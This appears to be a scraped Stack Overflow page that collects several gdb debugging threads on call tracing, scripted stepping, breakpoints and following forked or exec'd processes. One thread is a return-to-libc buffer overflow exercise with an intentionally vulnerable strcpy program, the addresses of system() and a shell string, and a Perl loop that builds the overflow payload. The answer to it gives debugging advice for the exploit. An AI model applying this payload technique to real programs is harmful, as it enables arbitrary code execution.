Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
We don’t allow questions seeking recommendations for books, tools, software libraries, and more. You can edit the question so it can be answered with facts and citations.
Closed 6 years ago.
Improve this question
I have a C binary file (source code available) and a pre-defined workload. I want to log all the function calls and its respective parameters, and also the return value, in call order. For example, in the code below:
int myfunc(int value){
return value*2;
}
int main(void){
int i;
i = myfunc(10);
i = myfunc(12);
i = myfunc(20);
return 0;
}
It shoud result in a log file like this:
int main()
int myfunc(10)
myfunc return 20
int myfunc(12)
myfunc return 24
int myfunc(21)
myfunc return 42
main return 0
I've already tried to use Intel PIN to do it, and it works very well, except that when the variable is a pointer, an array, a struct or a typedef. I need all the variables.
I have the source code and I can compile it using debug options.
Any ideas?
P.S. debug manually is unfeasible, since my actual workload has around 5000 calls from 90 different functions.
Edit: OS is Arch Linux 64bit
You can use gdb to track function calls and its returned values using breakpoints 'events' at run-time:
(gdb) help command
Set commands to be executed when a breakpoint is hit.
Give breakpoint number as argument after "commands".
With no argument, the targeted breakpoint is the last one set.
The commands themselves follow starting on the next line.
Type a line containing "end" to indicate the end of them.
Give "silent" as the first line to make the breakpoint silent;
then no output is printed when it is hit, except what the commands print.
Check out my approach:
Source code:
int myfunc( int n )
{
int val = n * 2;
return val;
}
int main(void)
{
int i;
i = myfunc(10);
i = myfunc(12);
i = myfunc(20);
return 0;
}
1) Compile your program in debug mode with -g option:
$ gcc -g program.c -o program
2) Run gdb:
$ gdb ./program
3) In gdb shell, you can set breakpoints for each function and/or lines you want to trace:
(gdb) break myfunc
Breakpoint 1 at 0x4011d6: file program.c, line 3.
(gdb) break program.c:5
Breakpoint 2 at 0x4011de: file program.c, line 5.
4) Set silent breakpoint events using the silent command:
(gdb) command 1
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>silent
>printf "calling myfunc( %d )\n", n
>cont
>end
(gdb) command 2
Type commands for breakpoint(s) 2, one per line.
End with a line saying just "end".
>silent
>printf "myfunc return %d\n", val
>cont
>end
5) Run the program:
(gdb) run
Starting program: /home/Administrator/program
[New Thread 192.0xe00]
[New Thread 192.0x55c]
calling myfunc( 10 )
myfunc return 20
calling myfunc( 12 )
myfunc return 24
calling myfunc( 20 )
myfunc return 40
[Inferior 1 (process 192) exited normally]
Obs: gdb reads a script file called .gdbinit when called. This
file contain gdb commands to automatically execute during gdb
startup and can be used to automate debug operations.
Hope it helps!
Related
I have a simple test program, and I'm trying to get the execution flow (I need to know which source code lines are executed) through a GDB script which simply executes step until the end of execution. Now something weird happens: when the stepping reaches malloc function the next step seems to go directly to the end of execution.
The simple program is the following:
#include <stdlib.h>
#include<stdio.h>
int f();
void g(int);
int main(void)
{
int len = f();
g(len);
printf("Execution terminated\n");
return 0;
}
int f(){
int fvar;
fvar = 20;
int* farray = malloc(fvar);
printf("Malloc executed: %p\n", farray);
return fvar;
}
void g(int var){
int gvar=var;
for(int i=0;i<gvar;i++)
var--;
}
Once compiled with: gcc -O0 -g -o test test.c
I run the GDB script with gdb -x script, where script is:
set pagination off
set logging file gdb.log
set logging on
file test
break main
run
while ( 1 )
step
end
And what I get is:
Breakpoint 1 at 0x1189: file test.c, line 8.
Breakpoint 1, main () at test.c:8
8 {
9 int len = f();
f () at test.c:17
17 int f(){
19 fvar = 20;
20 int* farray = malloc(fvar);
Malloc executed: 0x5555555592a0
Execution terminated
[Inferior 1 (process 5017) exited normally]
script:9: Error in sourced command file:
The program is not being run.
As you can see printf statements that come after the malloc are actually executed but it seems like the script is not stepping anymore.
I tried to issue next command right after the malloc and it actually prints the next line of code so it behaves differently from step command but obviously I can't replace step with next in the script because it won't step into my functions such as f and g.
I also tried to comment the line which contains the call to malloc and running the script with this version of the code actually prints each instruction executed until the end. But obviously this is not a fix :D
The problem is that with your script you continue to do step after the program is finished, from where the error The program is not being run.
You can use the solution you want but the principal is breaking the loop before the program is terminated. One solution would be to replace the return 0; with an exit(0); and to replace the while (1) with a while ($pc! = &exit) for example or $__GI_exit. You may have a No register error, but you can avoid this error by adding a break exit before run command.
An other solution is to add a print $pc in the loop to see the last address visited before, and compare directly the $pc to this address that you are sure it will be visited after the printf to break the loop. The pribt can be deleted once the address found. The easiest way still to use exit function when it is possible.
with the exit modification in the code. And the script modification:
set pagination off
set logging file gdb.log
set logging on
file exec
break main
break exit
run
while ( $pc != &exit)
step
end
The result is :
101 in filedoalloc.c
Malloc executed: 0x555555756260
Execution terminated
Breakpoint 2, __GI_exit (status=0) at exit.c:139
139 exit.c: No such file or directory.
(gdb)
GNU gdb (Ubuntu 8.1-0ubuntu3.2) 8.1.0.20180409-git and gcc (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0 was used for the example.
Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 2 years ago.
Improve this question
I know two functions func_1 and func_5, but there are some functions in between func_1 and func_5 for sure which I don't know what are those functions now my question is my program is hitting func_1 but not reaching to funct_5 somewhere between my program is getting crash when I ran gdb, but I didn't have any backtrace details since my program is getting stopped.
Now how can I know where and in which function it is getting crashed, I doubt in between those two functions func_1 and func_5 some function is creating that crash.
[Inferior 1 (process 23939) exited with code 01]
(gdb) bt
No stack.
Please can anyone tell me how to approach this?
Since you use gdb, rbreak and backtrace can help.
An example:
/* demo.c */
#include <stdio.h>
void fn1(void) { puts("Hello"); }
void fn2(void) { fn1(); }
void fn3(void) { fn2(); }
int main(void)
{
fn3();
return 0;
}
Compile with -g flag on:
gcc -std=c11 -Wall -pedantic -g -o demo demo.c
Create a script to automatize the task, call it trace.gdb (the name is not important) with the following contents:
set pagination off
rbreak demo.c:.
command
silent
backtrace 1
continue
end
run
Now run the command:
gdb -quiet -command=trace.gdb ./demo
The output is:
Reading symbols from ./demo...done.
Breakpoint 1 at 0x40053a: file demo.c, line 3.
void fn1(void);
Breakpoint 2 at 0x40054b: file demo.c, line 4.
void fn2(void);
Breakpoint 3 at 0x400556: file demo.c, line 5.
void fn3(void);
Breakpoint 4 at 0x400561: file demo.c, line 9.
int main(void);
#0 main () at demo.c:9
#0 fn3 () at demo.c:5
#0 fn2 () at demo.c:4
#0 fn1 () at demo.c:3
Hello
I am messing around with buffer overflows, particularly the return into libc kind.
I have the following vulnerable code:
#include<stdio.h>
#include<string.h>
main( int argc, char **argv)
{
char buffer[80];
getchar();
strcpy(buffer, argv[1]);
return 1;
}
I compiled it using gcc-2.95 (no -fstack-protector) with the -mpreferred-stack-boundary=2 flag. I followed the return into libc chapter of "Hacking: The Art of Exploitation".
First, I disabled ASLR:
$ cat /proc/sys/kernel/randomize_va_space
0
I found out the address of system:
$ cat find_system.c
int main() {
system("");
return 0;
}
$ gdb -q find_system
Reading symbols from /home/bob/return_to_libc/find_system...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x8048416
(gdb) run
Starting program: /home/bob/return_to_libc/find_system
Breakpoint 1, 0x08048416 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eb6680 <system>
I created an environment variable to contain the command I want to execute using system:
$ cat get_env.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
printf("%s=%s: %p\n", argv[1], getenv(argv[1]), getenv(argv[1]));
return 0;
}
$ export EXPLOIT=/bin/zsh
$ ./get_env EXPLOIT
EXPLOIT=/bin/zsh: 0xbffff96d
And then I made a perl script to automate getting the shell:
$ cat script.pl
#!/usr/bin/perl
for ($i = 1; $i < 200; $i++) {
print "Perl count: $i\n";
system("echo 1 | ./vuln '" . "A"x$i . "\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'");
}
$ ./script.pl
(...)
Perl count: 69
Perl count: 70
Perl count: 71
Perl count: 72
Illegal instruction
Perl count: 73
Segmentation fault
Perl count: 74
Segmentation fault
(...)
Where did I go wrong? Why do I get "illegal instruction" instead of my shell?
$ gdb vuln
(gdb) run 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'
Vary the number of 'A's to test the various failures. In find python -c "print 'A'*73" (73 used to produce the above) to be helpful for generating the arguments.
gdb will tell you exactly where you're crashing and what's at EIP/RIP when you crash. This should guide you to an answer to your question.
Most likely, you're not getting a good pointer in the return address on the stack and execution is landing in memory that doesn't disassemble to valid instructions. I'd think you're close here. The segmentaion faults are more likely to be execution landing in a region of memory that isn't even allocated.
Use (gdb) x/10i $eip to identify what instructions are at EIP when you crash. You can vary the length of the disassembly shown by altering the 10 in that command.
You'll also need to figure out where your argument to system is landing on the stack so that it makes it into the appropriate place in the calling convention to get system to call it. gdb should be able to help you here too (again, use x - x/4w maybe - and i r).
Successful exploitation requires both of the above pieces: the 0xb7eb6680 must be in the return address and the 0xbffff96d must be wherever system is going to read it's first argument from.
Another helpful trick: set a breakpoint on the ret at the end of the strcpy function. This is a handy place to inspect your stack and register state and identify what you're about to do. The ret is where exploitation happens: the return address you supply is read, the processor begins executing at that address and you're off, assuming you can sustain execution with proper arguments to whatever you're calling, etc. The program's state at this ret is the make or break point so it's the easiest place to see what's wrong with your input and why you will or will not successfully exploit the vulnerability.
Forgive me if my gdb syntax isn't bang on... it's not my primary debugger.
I am trying to add a breakpoint in my program using
b {line number}
but I am always getting an error that says:
No symbol table is loaded. Use the "file" command.
What should I do?
Here is a quick start tutorial for gdb:
/* test.c */
/* Sample program to debug. */
#include <stdio.h>
#include <stdlib.h>
int
main (int argc, char **argv)
{
if (argc != 3)
return 1;
int a = atoi (argv[1]);
int b = atoi (argv[2]);
int c = a + b;
printf ("%d\n", c);
return 0;
}
Compile with the -g3 option. g3 includes extra information, such as all the macro definitions present in the program.
gcc -g3 -o test test.c
Load the executable, which now contain the debugging symbols, into gdb:
gdb --annotate=3 test.exe
Now you should find yourself at the gdb prompt. There you can issue commands to gdb.
Say you like to place a breakpoint at line 11 and step through the execution, printing the values of the local variables - the following commands sequences will help you do this:
(gdb) break test.c:11
Breakpoint 1 at 0x401329: file test.c, line 11.
(gdb) set args 10 20
(gdb) run
Starting program: c:\Documents and Settings\VMathew\Desktop/test.exe 10 20
[New thread 3824.0x8e8]
Breakpoint 1, main (argc=3, argv=0x3d5a90) at test.c:11
(gdb) n
(gdb) print a
$1 = 10
(gdb) n
(gdb) print b
$2 = 20
(gdb) n
(gdb) print c
$3 = 30
(gdb) c
Continuing.
30
Program exited normally.
(gdb)
In short, the following commands are all you need to get started using gdb:
break file:lineno - sets a breakpoint in the file at lineno.
set args - sets the command line arguments.
run - executes the debugged program with the given command line arguments.
next (n) and step (s) - step program and step program until it
reaches a different source line, respectively.
print - prints a local variable
bt - print backtrace of all stack frames
c - continue execution.
Type help at the (gdb) prompt to get a list and description of all valid commands.
Start gdb with the executable as a parameter, so that it knows which program you want to debug:
gdb ./myprogram
Then you should be able to set breakpoints. For example:
b myfile.cpp:25
b some_function
Make sure you used the -g option when compiling.
You need to tell gdb the name of your executable file, either when you run gdb or using the file command:
$ gdb a.out
or
(gdb) file a.out
You need to use -g or -ggdb option at compile time of your program.
E.g., gcc -ggdb file_name.c ; gdb ./a.out
I have a C linux application (A) that spawns another process (P) when it is started. When I want to debug P I start A as usual and I connect with ddd/gdb to P.
Problems appear when I want to debug the entry-point (start of main) of P. If I follow the usual approach when I connect the debugger to P is already to late. The solution I've found was to insert a sleep at the begining of the main of P so I have time to connect with gdb but this is not a very elegant solution.
I've also tried using asm("int $3") but it doesn't seems to work.
Do you have any idea how I could solve this problem? (preferably without altering the code of A or P)
You should use this option:
set follow-fork-mode mode
Where mode is one of parent, child or ask.
To follow the parent (this is the default) use:
set follow-fork-mode parent
To follow the child:
set follow-fork-mode child
To have the debugger ask you each time:
set follow-fork-mode ask
So basically you'd start out connecting gdb to A, then set gdb to follow the child, and then when A spawns P, gdb will connect to P and detach from A.
In addition to the Nathan Fellman's answer, catchpoints come in handy, i.g.:
catch exec
Catchpoint works as a breakpoint. Every time a call to exec() syscall is detected, GDB stops. This allows you to set any breakpoint (i.g. break main) in any newly loaded executable before continuing. Another catchpoint catch fork works similarly for fork() syscall detection.
It is especially convenient:
when both parent and child has to be followed (set detach-on-fork off);
when parent processes forks often loading various executables.
exec part with file + break main
The fork was part was explained at: https://stackoverflow.com/a/377295/895245
Now for the exec:
a.c:
#include <unistd.h>
int main(void) {
execl("./b", "./b", "ab", "cd", (char*)NULL);
return 1;
}
b.c:
#include <stdio.h>
int main(int argc, char **argv ) {
printf("%s\n", argv[0]);
printf("%s\n", argv[1]);
}
Then:
gcc -g a.c -o a
gcc -g b.c -o b
gdb -nh -q a
Now on the interactive session:
Reading symbols from a...done.
(gdb) start
Temporary breakpoint 1 at 0x4004ea: file a.c, line 4.
Starting program: /home/ciro/test/gdb-exec/a
Temporary breakpoint 1, main () at a.c:4
4 execl("./b", "./b", "ab", "cd", (char*)NULL);
(gdb) file b
A program is being debugged already.
Are you sure you want to change the file? (y or n) y
Load new symbol table from "b"? (y or n) y
Reading symbols from b...done.
(gdb) b main
Breakpoint 2 at 0x4004f5: file b.c, line 4.
(gdb) n
Breakpoint 2, main (argc=0, argv=0x7fffffffa570) at b.c:4
4 printf("%s\n", argv[1]);
(gdb) n
process 4877 is executing new program: /home/ciro/test/gdb-exec/b
Breakpoint 2, main (argc=3, argv=0x7fffffffa598) at b.c:4
4 printf("%s\n", argv[1]);
(gdb) n
ab
5 printf("%s\n", argv[2]);
(gdb) n
cd
6 }
(gdb)
You just have to make sure that you go up to the exec before running file, possibly with a b execl, since after that you will be using symbols from the new file.
Tested in Ubuntu 14.04, gdb 7.7.1.
You should be able to do this by making use of gdb's remote debugging features, specifically gdbserver. In effect, launch (P) using gdbserver. These links have more detailed info:
Using gdbserver
GDB Remote Debugging
set a break point at main(), it will also break at main() of the execed program.